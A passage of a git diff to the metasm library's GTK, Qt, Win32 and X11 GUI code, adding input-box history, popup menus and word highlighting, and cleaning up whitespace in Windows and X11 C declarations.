+      end
+    end
+    draw_string_color(col, x, y, str)
+  end
+
   def clipboard_copy(buf)
     clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY)
     clipboard.text = buf
@@ -477,15 +570,35 @@ class InputBox < Gtk::Dialog
     @textwidget  = Gtk::TextView.new
     if opts[:text]
       @textwidget.buffer.text = opts[:text].to_s
-      @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter)
-      @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter)
+      text_select_all
     end
 
+    @@history ||= {}
+    histkey = opts[:history] || str[0, 10]
+    @history = (@@history[histkey] ||= [])
+    @history_off = @history.length
+
     @textwidget.signal_connect('key_press_event') { |w, ev|
       key = DrawableWidget::Keyboard_trad[ev.keyval]
       case key
-      when :escape; response(RESPONSE_REJECT) ; true
-      when :enter; response(RESPONSE_ACCEPT) ; true
+      when :escape
+        response(RESPONSE_REJECT)
+        true
+      when :enter
+        @history << @textwidget.buffer.text.to_s
+        @history.pop if @history.last == ''
+        @history.pop if @history.last == @history[-2]
+        response(RESPONSE_ACCEPT)
+        true
+      when :up, :down
+        txt = @textwidget.buffer.text.to_s
+        if (@history_off < @history.length or @history.last != txt)
+          @history[@history_off] = txt
+        end
+        @history_off += (key == :up ? -1 : 1)
+        @history_off %= @history.length
+        @textwidget.buffer.text = @history[@history_off].to_s
+        text_select_all
       end
     }
 
@@ -502,9 +615,9 @@ class InputBox < Gtk::Dialog
     Gtk::Drag.dest_set(self,
            Gtk::Drag::DEST_DEFAULT_MOTION |
            Gtk::Drag::DEST_DEFAULT_DROP,
-   				   [['text/plain', 0, 0], ['text/uri-list', 0, 0]],
+           [['text/plain', 0, 0], ['text/uri-list', 0, 0]],
            Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE)
-    
+
     signal_connect('drag_data_received') { |w, dc, x, y, data, info, time|
       dc.targets.each { |target|
         next if target.name != 'text/plain' and target.name != 'text/uri-list'
@@ -521,6 +634,11 @@ class InputBox < Gtk::Dialog
     present
   end
 
+  def text_select_all
+    @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter)
+    @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter)
+  end
+
   def text ; @textwidget.buffer.text ; end
   def text=(nt) ; @textwidget.buffer.text = nt ; end
 end
@@ -604,7 +722,7 @@ class ListWindow < Gtk::Dialog
       tvc = Gtk::TreeViewColumn.new(col, crt)
       tvc.sort_column_id = i
       tvc.set_cell_data_func(crt) { |_tvc, _crt, model, iter|
-               _crt.text = iter[i]
+        _crt.text = iter[i]
         if @color_callback
           fu = (0...cols.length).map { |ii| iter[ii] }
           fg, bg = @color_callback[fu]
@@ -635,7 +753,7 @@ class ListWindow < Gtk::Dialog
 
     remove vbox
     add Gtk::ScrolledWindow.new.add(treeview)
-    toplevel.set_default_size cols.length*120, 400
+    toplevel.set_default_size cols.length*240, 400
 
     show if not h[:noshow]
 
@@ -666,6 +784,7 @@ class Window < Gtk::Window
     @menubar = Gtk::MenuBar.new
     @accel_group = Gtk::AccelGroup.new
 
+    set_gravity Gdk::Window::GRAVITY_STATIC
     @vbox.add @menubar, 'expand' => false
     @child = nil
     s = Gdk::Screen.default
@@ -678,14 +797,13 @@ class Window < Gtk::Window
     initialize_window(*a, &b)
     build_menu
     update_menu
-    
-    
+
     Gtk::Drag.dest_set(self,
            Gtk::Drag::DEST_DEFAULT_MOTION |
            Gtk::Drag::DEST_DEFAULT_DROP,
-   				   [['text/plain', 0, 0], ['text/uri-list', 0, 0]],
+           [['text/plain', 0, 0], ['text/uri-list', 0, 0]],
            Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE)
-    
+
     signal_connect('drag_data_received') { |w, dc, x, y, data, info, time|
       dc.targets.each { |target|
         next if target.name != 'text/plain' and target.name != 'text/uri-list'
@@ -734,6 +852,13 @@ class Window < Gtk::Window
     l.grep(::Array).first if l
   end
 
+  def popupmenu(m, x, y)
+    mh = Gtk::Menu.new
+    m.each { |e| create_menu_item(mh, e) }
+    mh.show_all
+    mh.popup(nil, nil, 2, 0) { |_m, _x, _y, _p| [position[0]+x, position[1]+y, true] }
+  end
+
   # append stuff to a menu
   # arglist:
   # empty = menu separator
@@ -801,13 +926,10 @@ class Window < Gtk::Window
       key = accel[-1]
       if key == ?>
         key = accel[/<(.*)>/, 1]
-        key = case key
-        when 'enter'; Gdk::Keyval::GDK_Return
-        when 'esc'; Gdk::Keyval::GDK_Escape
-        when 'tab'; Gdk::Keyval::GDK_Tab
-        when /^f(\d\d?)$/i; Gdk::Keyval.const_get("GDK_#{key.upcase}")
-        else ??
-        end
+        key = DrawableWidget::Keyboard_trad.index(case key
+          when 'enter', 'esc', 'tab', /^f(\d\d?)$/i; key.downcase.to_sym
+          else ??
+          end)
       end
       key = key.unpack('C')[0] if key.kind_of? String	# yay rb19
       item.add_accelerator('activate', @accel_group, key, (accel[0] == ?^ ? Gdk::Window::CONTROL_MASK : 0), Gtk::ACCEL_VISIBLE)
@@ -815,7 +937,7 @@ class Window < Gtk::Window
     if action
       a = action
       if check
-        a = lambda { item.active = action.call(item.active?) }
+        a = lambda { |it| it.active = action.call(it.active?) }
       end
       item.signal_connect('activate') { protect { a.call(item) } }
     end
@@ -838,7 +960,7 @@ class ToolWindow < Gtk::Dialog
     initialize_window(*a, &b)
     show_all
   end
-  
+
   def widget=(w)
     remove @child if @child
     @child = w
diff --git a/lib/metasm/metasm/gui/qt.rb b/lib/metasm/metasm/gui/qt.rb
index d0ba546268..d7a4767acf 100644
--- a/lib/metasm/metasm/gui/qt.rb
+++ b/lib/metasm/metasm/gui/qt.rb
@@ -323,11 +323,21 @@ Execute Printer Play Sleep Zoom Cancel
   end
 
   # update @hl_word from a line & offset, return nil if unchanged
-  def update_hl_word(line, offset)
+  def update_hl_word(line, offset, mode=:asm)
     return if not line
     word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/]
     word = nil if word == ''
-    @hl_word = word if @hl_word != word
+    if @hl_word != word
+      if word
+        if mode == :asm and defined?(@dasm) and @dasm
+          re = @dasm.gui_hilight_word_regexp(word)
+        else
+          re = Regexp.escape word
+        end
+        @hl_word_re = /^(.*?)(\b(?:#{re})\b)/
+      end
+      @hl_word = word
+    end
   end
 
   # invalidate the whole widget area
diff --git a/lib/metasm/metasm/gui/win32.rb b/lib/metasm/metasm/gui/win32.rb
index a0e7b3dd5c..ca9fb656d6 100644
--- a/lib/metasm/metasm/gui/win32.rb
+++ b/lib/metasm/metasm/gui/win32.rb
@@ -685,7 +685,7 @@ TrackMouseEvent(
 #define QS_ALLEVENTS       (QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY)
 #define QS_ALLINPUT        (QS_ALLEVENTS | QS_SENDMESSAGE)
 
-#define WAIT_TIMEOUT        258L 
+#define WAIT_TIMEOUT        258L
 
 #define CF_TEXT             1
 #define CF_BITMAP           2
@@ -960,6 +960,33 @@ GetTextExtentPoint32A(
   __in_ecount(c) LPCSTR lpString,
   __in int c,
   __out LPPOINT lpsz);
+
+typedef struct tagRECT {
+    LONG left;
+    LONG top;
+    LONG right;
+    LONG bottom;
+} RECT, *LPRECT;
+
+#define TPM_LEFTBUTTON  0x0000L
+#define TPM_RIGHTBUTTON 0x0002L
+#define TPM_LEFTALIGN   0x0000L
+#define TPM_CENTERALIGN 0x0004L
+#define TPM_RIGHTALIGN  0x0008L
+#define TPM_TOPALIGN        0x0000L
+#define TPM_VCENTERALIGN    0x0010L
+#define TPM_BOTTOMALIGN     0x0020L
+#define TPM_HORIZONTAL      0x0000L
+#define TPM_VERTICAL        0x0040L
+#define TPM_NONOTIFY        0x0080L
+#define TPM_RETURNCMD       0x0100L
+#define TPM_RECURSE         0x0001L
+#define TPM_HORPOSANIMATION 0x0400L
+#define TPM_HORNEGANIMATION 0x0800L
+#define TPM_VERPOSANIMATION 0x1000L
+#define TPM_VERNEGANIMATION 0x2000L
+#define TPM_NOANIMATION     0x4000L
+#define TPM_LAYOUTRTL       0x8000L
 WINUSERAPI
 BOOL
 WINAPI
@@ -980,6 +1007,17 @@ WINAPI
 DestroyMenu(
     __in HMENU hMenu);
 WINUSERAPI
+BOOL
+WINAPI
+TrackPopupMenu(
+    __in HMENU hMenu,
+    __in UINT uFlags,
+    __in int x,
+    __in int y,
+    __in int nReserved,
+    __in HWND hWnd,
+    __in_opt CONST RECT *prcRect);
+WINUSERAPI
 DWORD
 WINAPI
 CheckMenuItem(
@@ -999,13 +1037,6 @@ AppendMenuA(
 #define OPAQUE      2
 int WINAPI SetBkMode(__in HDC hdc, __in int mode);
 
-typedef struct tagRECT {
-    LONG left;
-    LONG top;
-    LONG right;
-    LONG bottom;
-} RECT, *LPRECT;
-
 WINUSERAPI
 int
 WINAPI
@@ -1086,6 +1117,18 @@ UpdateWindow(
 WINUSERAPI
 BOOL
 WINAPI
+ClientToScreen(
+    __in HWND hWnd,
+    __inout LPPOINT pt);
+WINUSERAPI
+BOOL
+WINAPI
+ScreenToClient(
+    __in HWND hWnd,
+    __inout LPPOINT pt);
+WINUSERAPI
+BOOL
+WINAPI
 GetClientRect(
     __in HWND hWnd,
     __out LPRECT lpRect);
@@ -1390,11 +1433,11 @@ class WinWidget
     return if not @parent
     @parent.set_focus(self) if @parent.respond_to? :set_focus
   end
-  
+
   def focus?
     return true if not @parent
     (@parent.respond_to?(:focus?) ? @parent.focus? : true) and
- 		(@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true)
+    (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true)
   end
 
   def redraw
@@ -1484,6 +1527,7 @@ class ContainerChoiceWidget < WinWidget
 
   def set_focus(c)
     @curview = c
+    grab_focus
     redraw
   end
 end
@@ -1519,7 +1563,7 @@ class ContainerVBoxWidget < WinWidget
     cy = 0
     pv = []
     @views.each_with_index { |v, i|
-      if y >= cy and y < cy + v.height
+      if y >= cy+1 and y < cy + v.height - 1
         if @focus_idx != i
           @focus_idx = i
           redraw
@@ -1528,8 +1572,7 @@ class ContainerVBoxWidget < WinWidget
         return
       end
       cy += v.height
-      if y >= cy and y < cy+@spacing
-        vsz = v
+      if y >= cy-1 and y < cy+@spacing+1
         @resizing = v
         @wantheight[@resizing] ||= v.height
         @tmpwantheight = []
@@ -1665,12 +1708,13 @@ class ContainerVBoxWidget < WinWidget
 
   def set_focus(c)
     @focus_idx = @views.index(c)
+    grab_focus
     redraw
   end
 end
 
 module TextWidget
-  attr_accessor :caret_x, :caret_y, :hl_word, :font_width, :font_height
+  attr_accessor :caret_x, :caret_y, :hl_word, :hl_word_re, :font_width, :font_height
 
   def initialize_text
     @caret_x = @caret_y = 0		# text cursor position
@@ -1679,11 +1723,21 @@ module TextWidget
     @hl_word = nil
   end
 
-  def update_hl_word(line, offset)
+  def update_hl_word(line, offset, mode=:asm)
     return if not line
     word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/]
     word = nil if word == ''
-    @hl_word = word if @hl_word != word
+    if @hl_word != word
+      if word
+        if mode == :asm and defined?(@dasm) and @dasm
+          re = @dasm.gui_hilight_word_regexp(word)
+        else
+          re = Regexp.escape(word)
+        end
+        @hl_word_re = /^(.*?)(\b(?:#{re})\b)/
+      end
+      @hl_word = word
+    end
   end
 
   def set_caret_from_click(x, y)
@@ -1737,7 +1791,15 @@ end
 class DrawableWidget < WinWidget
   include TextWidget
 
-  attr_accessor :buttons
+  BasicColor = {	:white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444',
+      :red => 'f44', :darkred => '800', :palered => 'faa',
+      :green => '4f4', :darkgreen => '080', :palegreen => 'afa',
+      :blue => '44f', :darkblue => '008', :paleblue => 'aaf',
+      :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa',
+      :orange => 'fc8',
+  }
+  attr_accessor :buttons, :parent_widget
+  attr_accessor :default_color_association
 
   def initialize(*a, &b)
     @color = {}
@@ -1754,12 +1816,7 @@ class DrawableWidget < WinWidget
   end
 
   def initialize_visible_
-    { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444',
-      :red => 'f00', :darkred => '800', :palered => 'fcc',
-      :green => '0f0', :darkgreen => '080', :palegreen => 'cfc',
-      :blue => '00f', :darkblue => '008', :paleblue => 'ccf',
-      :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc',
-    }.each { |tag, val|
+    BasicColor.each { |tag, val|
       @color[tag] = color(val)
     }
     @color[:winbg] = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE)
@@ -1768,11 +1825,24 @@ class DrawableWidget < WinWidget
     initialize_visible if respond_to? :initialize_visible
   end
 
-  def set_color_association(h)
-    h.each { |k, v| @color[k] = color(v) }
+  def set_color_association(hash)
+    hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) }
+    hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) }
     gui_update
   end
 
+  def new_menu
+    toplevel.new_menu
+  end
+
+  def addsubmenu(*a, &b)
+    toplevel.addsubmenu(*a, &b)
+  end
+
+  def popupmenu(m, x, y)
+    toplevel.popupmenu(m, (x+@x).to_i, (y+@y).to_i)
+  end
+
   def paint_(realhdc)
     @hdc = Win32Gui.createcompatibledc(realhdc)
     bmp = Win32Gui.createcompatiblebitmap(realhdc, @width, @height)
@@ -1813,7 +1883,7 @@ class DrawableWidget < WinWidget
   end
 
   def color(col)
-    @color[col] ||= col.sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16)
+    @color[col] ||= col.sub(/^(\w\w)(\w\w)(\w\w)$/, '\\3\\2\\1').sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16)
   end
 
   def draw_color(col)
@@ -1853,12 +1923,29 @@ class DrawableWidget < WinWidget
     draw_string(x, y, text)
   end
 
+  # same as draw_string_color + hilight @hl_word_re
+  def draw_string_hl(col, x, y, str)
+    if @hl_word
+      while str =~ @hl_word_re
+        s1, s2 = $1, $2
+        draw_string_color(col, x, y, s1)
+        x += s1.length*@font_width
+        hl_w = s2.length*@font_width
+        draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height)
+        draw_string_color(:hl_word, x, y, s2)
+        x += hl_w
+        str = str[s1.length+s2.length..-1]
+      end
+    end
+    draw_string_color(col, x, y, str)
+  end
+
   def keyboard_state(query=nil)
     case query
     when :control, :ctrl
       Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0
     when :shift
-    Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0
+      Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0
     when :alt
       Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0
     else
@@ -1952,10 +2039,10 @@ class Window
         :style => Win32Gui::CS_DBLCLKS,
         :hcursor => Win32Gui.loadcursora(0, Win32Gui::IDC_ARROW),
         :lpszclassname => cname,
-  				:lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) }
+        :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) }
 
     Win32Gui.registerclassexa(cls)
-    
+
     @hwnd = Win32Gui.createwindowexa(win32styleex, cname, 'win32gui window', win32style, Win32Gui::CW_USEDEFAULT, Win32Gui::SW_HIDE, Win32Gui::CW_USEDEFAULT, 0, 0, 0, 0, 0)
 
     initialize_window(*a, &b)
@@ -1997,7 +2084,8 @@ class Window
     h.update v => {
       :prior => :pgup, :next => :pgdown,
       :escape => :esc, :return => :enter,
-      :back => :backspace,
+      :back => :backspace, :apps => :popupmenu,
+      :add => ?+, :subtract => ?-, :multiply => ?*, :divide => ?/,
     }.fetch(key, key)
   }
 
@@ -2053,7 +2141,9 @@ class Window
     when Win32Gui::WM_KEYDOWN, Win32Gui::WM_SYSKEYDOWN
       # SYSKEYDOWN for f10 (default = activate the menu bar)
       if key = Keyboard_trad[wparam]
-        if keyboard_state(:control)
+        if [?+, ?-, ?/, ?*].include?(key)
+          # keypad keys generate wm_keydown + wm_char, ignore this one
+        elsif keyboard_state(:control)
           @widget.keypress_ctrl_(key) if @widget
         else
           @widget.keypress_(key) if @widget
@@ -2064,15 +2154,15 @@ class Window
       if keyboard_state(:control) and not keyboard_state(:alt)	# altgr+[ returns CTRL on..
         if ?a.kind_of?(String)
           wparam += (keyboard_state(:shift) ? ?A.ord : ?a.ord) - 1 if wparam < 0x1a
-          k = wparam.chr
+          key = wparam.chr
         else
           wparam += (keyboard_state(:shift) ? ?A : ?a) - 1 if wparam < 0x1a
-          k = wparam
+          key = wparam
         end
-        @widget.keypress_ctrl_(k) if @widget
+        @widget.keypress_ctrl_(key) if @widget
       else
-        k = (?a.kind_of?(String) ? wparam.chr : wparam)
-        @widget.keypress_(k) if @widget
+        key = (?a.kind_of?(String) ? wparam.chr : wparam)
+        @widget.keypress_(key) if @widget
       end
     when Win32Gui::WM_DESTROY
       destroy_window
@@ -2214,12 +2304,39 @@ class Window
 
   # make the window's MenuBar reflect the content of @menu
   def update_menu
+    unuse_menu(@menu)
     Win32Gui.destroymenu(@menuhwnd) if @menuhwnd != 0
     @menuhwnd = Win32Gui.createmenu()
     @menu.each { |e| create_menu_item(@menuhwnd, e) }
     Win32Gui.setmenu(@hwnd, @menuhwnd)
   end
 
+  def popupmenu(m, x, y)
+    hm = Win32Gui.createpopupmenu()
+    m.each { |e| create_menu_item(hm, e) }
+    pt = Win32Gui.alloc_c_struct('POINT', :x => x, :y => y)
+    Win32Gui.clienttoscreen(@hwnd, pt)
+    id = Win32Gui.trackpopupmenu(hm, Win32Gui::TPM_NONOTIFY | Win32Gui::TPM_RETURNCMD, pt.x, pt.y, 0, @hwnd, 0)
+    if p = @control_action[id]
+      # TrackPopup returns before WM_COMMAND is delivered, so if we
+      # want to cleanup @control_action we must call it now & clenup
+      p.call
+    end
+    unuse_menu(m)
+    Win32Gui.destroymenu(hm)
+  end
+
+  def unuse_menu(m)
+    m.flatten.grep(Proc).reverse_each { |c|
+      if @control_action[@controlid-1] == c
+        @controlid -= 1		# recycle IDs
+        @control_action.delete @controlid
+      elsif i = @control_action.index(c)
+        @control_action.delete i
+      end
+    }
+  end
+
   def create_menu_item(menu, entry)
     args = entry.dup
 
@@ -2270,6 +2387,7 @@ class Window
           checked = action.call(!checked)
           Win32Gui.checkmenuitem(menu, id, (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED))
         }
+        entry << @control_action[id]	# allow deletion in unuse_menu
       end
       @controlid += 1
     end
@@ -2329,7 +2447,7 @@ class OpenFile
     buf = [0].pack('C')*512
     ofn = Win32Gui.alloc_c_struct 'OPENFILENAMEA',
       :lstructsize => :size,
-  			#:hwndowner => win.hwnd,	# 0 for nonmodal
+      #:hwndowner => win.hwnd,	# 0 for nonmodal
       :lpstrfilter => "All Files\0*.*\0\0",
       :lpstrfile => buf,
       :lpstrtitle => title,
@@ -2369,6 +2487,10 @@ class IBoxWidget < DrawableWidget
     @oldsel_x = @caret_x_select = 0
     @caret_x = @curline.length
     @caret_x_start = 0
+    @@history ||= {}
+    histkey = opts[:history] || label[0, 10]
+    @history = (@@history[histkey] ||= [])
+    @history_off = @history.length
 
     add_button('Ok', :btnc1, :btnc2) { keypress(:enter) }
     add_button('Cancel', :btnc1, :btnc2) { keypress(:esc) }
@@ -2480,7 +2602,7 @@ class IBoxWidget < DrawableWidget
         @caret_x_select = nil
       end
       @caret_x -= 1 if @caret_x > 0
-        update_caret
+      update_caret
     when :right
       if keyboard_state(:shift)
         @caret_x_select ||= @caret_x
@@ -2488,7 +2610,7 @@ class IBoxWidget < DrawableWidget
         @caret_x_select = nil
       end
       @caret_x += 1 if @caret_x < @curline.length
-        update_caret
+      update_caret
     when :home
       if keyboard_state(:shift)
         @caret_x_select ||= @caret_x
@@ -2505,7 +2627,19 @@ class IBoxWidget < DrawableWidget
       end
       @caret_x = @curline.length
       update_caret
+    when :up, :down
+      if @history_off < @history.length or @curline.strip != @history.last
+        @history[@history_off] = @curline.strip
+      end
+      @history_off += (key == :up ? -1 : 1)
+      @history_off %= @history.length
+      @curline = @history[@history_off].to_s
+      @caret_x = @curline.length if @caret_x > @curline.length
+      redraw
     when :enter
+      @history << @curline.strip
+      @history.pop if @history.last == ''
+      @history.pop if @history.last == @history[-2]
       destroy
       Gui.main_iter
       protect { @action.call(@curline.strip) }
@@ -2588,7 +2722,7 @@ class IBoxWidget < DrawableWidget
     elsif mouserelease_buttons(x, y)
     end
   end
-  
+
   def update_caret
     return if @oldcaret_x == @caret_x and @oldsel_x == @caret_x_select
     redraw
@@ -2699,13 +2833,17 @@ class LBoxWidget < DrawableWidget
   def paint
     @btnx = []
     @btny = 0
-    @btnheight = @font_height * 4/3
+    if @btnheight != @font_height * 4/3
+      # fix vscrollbar height on w7
+      @btnheight = @font_height * 4/3
+      resized(width, height)
+    end
     x = 0
     @colw.each { |w|
       @btnx << x
       x += w
     }
-    
+
     x -= @sbh
     y = @btnheight
     @linehead = @sbv / @font_height
@@ -2817,7 +2955,6 @@ class LBoxWidget < DrawableWidget
       vscroll((@linehead-off)*@font_height)
       redraw
     when :down
-      n = @lineshown-1
       off = [@lineshown, [@lineshown/2, 5].max].min
       vscroll((@linehead+off)*@font_height)
       redraw
@@ -2895,7 +3032,7 @@ class LBoxWidget < DrawableWidget
       if @list_ints[col]
         nlist = @list.sort_by { |a| [a[col].to_i, a] }
       else
-      nlist = @list.sort_by { |a| [a[col], a] }
+        nlist = @list.sort_by { |a| [a[col], a] }
       end
       nlist.reverse! if nlist == @list
       @list = nlist
@@ -2907,7 +3044,7 @@ class LBoxWidget < DrawableWidget
       redraw
     end
   end
-  
+
   def destroy
     @parent.destroy
   end
@@ -2943,7 +3080,7 @@ end
       Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_VERT, sif)
       case wparam & 0xffff
       when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos
-      when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos; nopos = true
+      when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos #; nopos = true
       when Win32Gui::SB_LINEDOWN; val = sif.npos + 1
       when Win32Gui::SB_LINEUP;   val = sif.npos - 1
       when Win32Gui::SB_PAGEDOWN; val = sif.npos + sif.npage
diff --git a/lib/metasm/metasm/gui/x11.rb b/lib/metasm/metasm/gui/x11.rb
index 9f5cce772f..e4e411a546 100644
--- a/lib/metasm/metasm/gui/x11.rb
+++ b/lib/metasm/metasm/gui/x11.rb
@@ -9,31 +9,31 @@ module Metasm
 module Gui
 class XGui < DynLdr
   new_api_c <<EOS, 'libX11.so'
-#define KeyPressMask                    (1L<<0)  
-#define KeyReleaseMask                  (1L<<1)  
-#define ButtonPressMask                 (1L<<2)  
-#define ButtonReleaseMask               (1L<<3)  
-#define EnterWindowMask                 (1L<<4)  
-#define LeaveWindowMask                 (1L<<5)  
-#define PointerMotionMask               (1L<<6)  
-#define PointerMotionHintMask           (1L<<7)  
-#define Button1MotionMask               (1L<<8)  
-#define Button2MotionMask               (1L<<9)  
-#define Button3MotionMask               (1L<<10) 
-#define Button4MotionMask               (1L<<11) 
-#define Button5MotionMask               (1L<<12) 
-#define ButtonMotionMask                (1L<<13) 
+#define KeyPressMask                    (1L<<0)
+#define KeyReleaseMask                  (1L<<1)
+#define ButtonPressMask                 (1L<<2)
+#define ButtonReleaseMask               (1L<<3)
+#define EnterWindowMask                 (1L<<4)
+#define LeaveWindowMask                 (1L<<5)
+#define PointerMotionMask               (1L<<6)
+#define PointerMotionHintMask           (1L<<7)
+#define Button1MotionMask               (1L<<8)
+#define Button2MotionMask               (1L<<9)
+#define Button3MotionMask               (1L<<10)
+#define Button4MotionMask               (1L<<11)
+#define Button5MotionMask               (1L<<12)
+#define ButtonMotionMask                (1L<<13)
 #define KeymapStateMask                 (1L<<14)
-#define ExposureMask                    (1L<<15) 
-#define VisibilityChangeMask            (1L<<16) 
-#define StructureNotifyMask             (1L<<17) 
-#define ResizeRedirectMask              (1L<<18) 
-#define SubstructureNotifyMask          (1L<<19) 
-#define SubstructureRedirectMask        (1L<<20) 
-#define FocusChangeMask                 (1L<<21) 
-#define PropertyChangeMask              (1L<<22) 
-#define ColormapChangeMask              (1L<<23) 
-#define OwnerGrabButtonMask             (1L<<24) 
+#define ExposureMask                    (1L<<15)
+#define VisibilityChangeMask            (1L<<16)
+#define StructureNotifyMask             (1L<<17)
+#define ResizeRedirectMask              (1L<<18)
+#define SubstructureNotifyMask          (1L<<19)
+#define SubstructureRedirectMask        (1L<<20)
+#define FocusChangeMask                 (1L<<21)
+#define PropertyChangeMask              (1L<<22)
+#define ColormapChangeMask              (1L<<23)
+#define OwnerGrabButtonMask             (1L<<24)
 
 #define KeyPress                2
 #define KeyRelease              3
@@ -84,7 +84,7 @@ typedef struct _XGC *GC;
 typedef XID Pixmap;
 typedef XID Window;
 
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -92,7 +92,7 @@ struct {
   Display *display;
   Window window;
 } XAnyEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -110,7 +110,7 @@ struct {
   unsigned int button;
   int same_screen;
 } XButtonEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -120,7 +120,7 @@ struct {
   Window window;
   int place;
 } XCirculateEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -130,7 +130,7 @@ struct {
   Window window;
   int place;
 } XCirculateRequestEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -146,7 +146,7 @@ struct {
     long l[5];
   } data;
 } XClientMessageEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -157,7 +157,7 @@ struct {
   int new;
   int state;
 } XColormapEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -173,7 +173,7 @@ struct {
   Window above;
   int override_redirect;
 } XConfigureEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -190,7 +190,7 @@ struct {
   int detail;
   unsigned long value_mask;
 } XConfigureRequestEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -205,7 +205,7 @@ struct {
   int border_width;
   int override_redirect;
 } XCreateWindowEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -225,7 +225,7 @@ struct {
   int focus;
   unsigned int state;
 } XCrossingEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -234,7 +234,7 @@ struct {
   Window event;
   Window window;
 } XDestroyWindowEvent;
-typedef 
+typedef
 struct {
   int type;
   Display *display;
@@ -244,7 +244,7 @@ struct {
   unsigned char request_code;
   unsigned char minor_code;
 } XErrorEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -257,7 +257,7 @@ struct {
   int height;
   int count;
 } XExposeEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -267,7 +267,7 @@ struct {
   int mode;
   int detail;
 } XFocusChangeEvent;
-typedef 
+typedef
 struct {
   int function;
   unsigned long plane_mask;
@@ -293,7 +293,7 @@ struct {
   int dash_offset;
   char dashes;
 } XGCValues;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -302,7 +302,7 @@ struct {
   int extension;
   int evtype;
 } XGenericEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -313,7 +313,7 @@ struct {
   unsigned int cookie;
   void *data;
 } XGenericEventCookie;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -328,7 +328,7 @@ struct {
   int major_code;
   int minor_code;
 } XGraphicsExposeEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -339,7 +339,7 @@ struct {
   int x;
   int y;
 } XGravityEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -357,7 +357,7 @@ struct {
   unsigned int keycode;
   int same_screen;
 } XKeyEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -366,7 +366,7 @@ struct {
   Window window;
   char key_vector[32];
 } XKeymapEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -376,7 +376,7 @@ struct {
   Window window;
   int override_redirect;
 } XMapEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -385,7 +385,7 @@ struct {
   Window parent;
   Window window;
 } XMapRequestEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -396,7 +396,7 @@ struct {
   int first_keycode;
   int count;
 } XMappingEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -414,7 +414,7 @@ struct {
   char is_hint;
   int same_screen;
 } XMotionEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -424,7 +424,7 @@ struct {
   int major_code;
   int minor_code;
 } XNoExposeEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -435,7 +435,7 @@ struct {
   Time time;
   int state;
 } XPropertyEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -448,7 +448,7 @@ struct {
   int y;
   int override_redirect;
 } XReparentEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -458,7 +458,7 @@ struct {
   int width;
   int height;
 } XResizeRequestEvent;
-typedef 
+typedef
 struct {
   int type;
   unsigned long serial;
@@ -468,7 +468,7 @@ struct {
